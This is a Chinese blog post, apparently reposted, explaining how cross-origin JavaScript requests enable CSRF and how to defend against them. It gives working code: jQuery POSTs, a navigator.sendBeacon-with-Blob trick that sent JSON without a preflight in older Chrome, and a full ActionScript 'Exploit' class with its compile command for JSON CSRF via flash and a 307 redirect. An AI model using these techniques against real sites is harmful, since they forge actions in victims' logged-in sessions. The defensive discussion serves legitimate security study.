java csrf 跨域_使用javascript跨域请求与CSRF

0x00 背景

同事在做CSRF的时候发现的。这里总结一下。

0x01 跨域的Simple Request

integrity="sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44="

crossorigin="anonymous">

$.ajax({

type: "POST",

url: "https://www.nevermoe.com",

data: "{hello}",

//contentType:"application/json; charset=utf-8",

//dataType:"json",

success: function(){

alert('success')

},

});

如果你使用上面这个script来post一个跨域的request到www.nevermoe.com,然后使用burp来查看浏览器的流量,你会发现,这个request虽然是跨域的,但是它确实被POST出去了,而且也得到了response。

f201b9a255924d9f37ec761ef188a0c1.png

954ccffdfccaf506168c6b6fc3fdbed5.png

但是在浏览器端,浏览器却不会将返回的数据进行渲染,因为浏览器发现response里并没有'Access-Control-Allow-Origin',所有浏览器默认会拒绝显示跨域请求。

5528568ee25e2cdac4d3a2d4b3eeed8d.png

虽然如此,但是显然我们的POST请求显然已经成功了,也就是说,如果用在csrf上已经足够了。

0x02 跨域的 Non-Simple Request -- 失败版

但是这里有个问题,刚刚的脚本我们发出去的request的Content-Type是'application/x-www-form-urlencoded; charset=UTF-8'、这种简单的(Simple)javascript的request(包括'text/plain')会被浏览器直接发送出去,但如果我们想发送json格式的跨域请求,其实是做不到的。可以把刚刚上面那段脚本的注释去掉试试,发现burp捕捉到的流量是这样的:

221b44c98677447704e9c5769c3d8d08.png

这不是一个POST请求,而是一个OPTIONS请求。这个是被浏览器替换掉掉请求。这个请求有个学名,叫做pre-flight request,是浏览器用来确认服务器的CORS设置的,当发出这个请求后,发现服务器的response里没有'Access-Control-Allow-Origin' Header,则浏览器不会把真正的POST request发出去。在chrome控制台里你会看到这样的错误:

6059615b03953a4188c965cf0d91b294.png

如此一来用javascript POST json格式似乎就不可能了。

0x03 跨域的 Non-Simple Request -- 成功版

这是同事发现的方法:在chrome下,用navigator.sendBeacon配合Blob可以跨域发送json的request。代码如下:

function jsonreq() {

var blob= new Blob([JSON.stringify({"hello":"world"})], {type : 'application/json; charset=UTF-8'}); // the blob

navigator.sendBeacon('https://www.nevermoe.com', blob )

}

jsonreq();

在chrome上这段代码不会发送pre-flight request,所以完全可以成功POST。如下:

1525744c28289d9b627317679422a6ba.png

注意,firefox上并不能成功,所以这是chrome的一个security bug,该bug从2015年开始被报告,但至今仍未fix。

(注:最新chrome已修复该bug,2017/09/01.)

0x05 扩展:防御CSRF

注意到,如果javascript想要发送一个Non-simple的request,那么一定会出发浏览器的pre-flight request,我们可以利用这一点来防止CSRF,比如使用json格式而非text/plain格式。但是在上面的chrome的bug中,即使使用json也是有危险的,我们可以使用强制发送自定request的header来防御CSRF:如果服务器收到的请求中没有自定义header(如X-Requested-With),则不处理该请求。如此一来,如果想要实现跨域javascript的请求,就必须写出如下js:

$.ajax({

type: "POST",

url: "https://www.nevermoe.com",

data: "{hello}",

headers: {'X-Requested-With': 'XMLHttpRequest'},

//contentType:"application/json; charset=utf-8",

//contentType:"text/plain",

//dataType:"json",

success: function(){

alert('success')

},

});

但是该js发送的请求是Non-simple的,浏览器看到这样的跨域请求会首先进行pre-flight请求,确定服务器是否允许跨域添加header。这时显然无法bypass CORS。

efb786898df5a2a77e99b1f423957781.png

这种实现方式有个明显的好处,就是是stateless的,程序员不需要花额外的精力维护csrf_token之类的东西,实现起来较为简单。

0x06 注意

如果想要令jquery的ajax同时发送cookie,必须像这样使用"withCredentials":

$.ajax({

url: a_cross_domain_url,

xhrFields: {

withCredentials: true

}

});

并且用户的浏览器没有禁止第三方cookie,且服务器没有禁止WithCredentials。

在android的webview上,第三方cookie的是否允许的设置是这样的:

"Apps that target KITKAT or below default to allowing third party cookies. Apps targeting LOLLIPOP or later default to disallowing third party cookies."

也就是说在高版本的android webview中,即使withCredentials为true,默认也是无法用javascript发送带cookie的跨域请求的。

0x07 更新 2017.05.17

使用html form生成json数据

使用如下的方法可以生成一个Content-Type是text/plain的请求,且body部分是一个类似json的parameter(最后多了一个=号)。

566d798c318021b1832b52f4a1468ae7.png

如果服务器端没有判断只接受Content-Type为application/json的请求,且接受=号结尾的json格式,这样的csrf仍能够成立。

padding

如果你对多出来的等号不满意,可以构造如下html:

0x08 更新 2017.09.12

其实如果你想把Content-Type设置为application/json,还是有办法的,可以使用flash+307 redirect来实现。具体参照这个网站:

https://woto.kim/json_csrf。

你可以通过反编译的他的flash文件来自己分析一下。

0x09 更新 2019.03.15

flash+307 redirect来实现csrf的方式现在仍然可以,但是只能改变Content-Type,如果想增加别的header话则会导致浏览器去请求目标网站的crossdomain.xml。从同事哪里得到的代码:

package {

import flash.net.*;

import flash.events.*;

import flash.display.*;

import flash.text.*;

import flash.display.MovieClip;

import flash.external.ExternalInterface;

public class Exploit extends MovieClip

{

public function Exploit()

{

var txt:TextField = new TextField();

txt.text = "Hello!";

txt.x = 20;

txt.y = 20;

addChild(txt);

var parent:Object = loaderInfo.parameters;

// ExternalInterface.call("alert", parent["data"]);

var req:URLRequest = new URLRequest(parent["url"]);

req.method = URLRequestMethod.POST;

var header:URLRequestHeader = new URLRequestHeader("Content-type", "application/json");

req.requestHeaders.push(header);

req.data = parent["data"];

var loader:URLLoader = new URLLoader();

loader.dataFormat = URLLoaderDataFormat.TEXT

loader.load(req);

// var header2:URLRequestHeader = new URLRequestHeader("X-Requested-With", "XMLHttpRequest");

// req.requestHeaders.push(header2);

//var header2:URLRequestHeader = new URLRequestHeader("X-Haru", "yes");

//req.requestHeaders.push(header2);

//loader.addEventListener(Event.COMPLETE, loaderCompleteHD);

//loader.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHD);

var txt2:TextField = new TextField();

txt2.text = "Hello!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!";

txt2.x = 20;

txt2.y = 20;

addChild(txt2);

}

}

}

编译:

mxmlc Exploit.as -static-link-runtime-shared-libraries=true

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值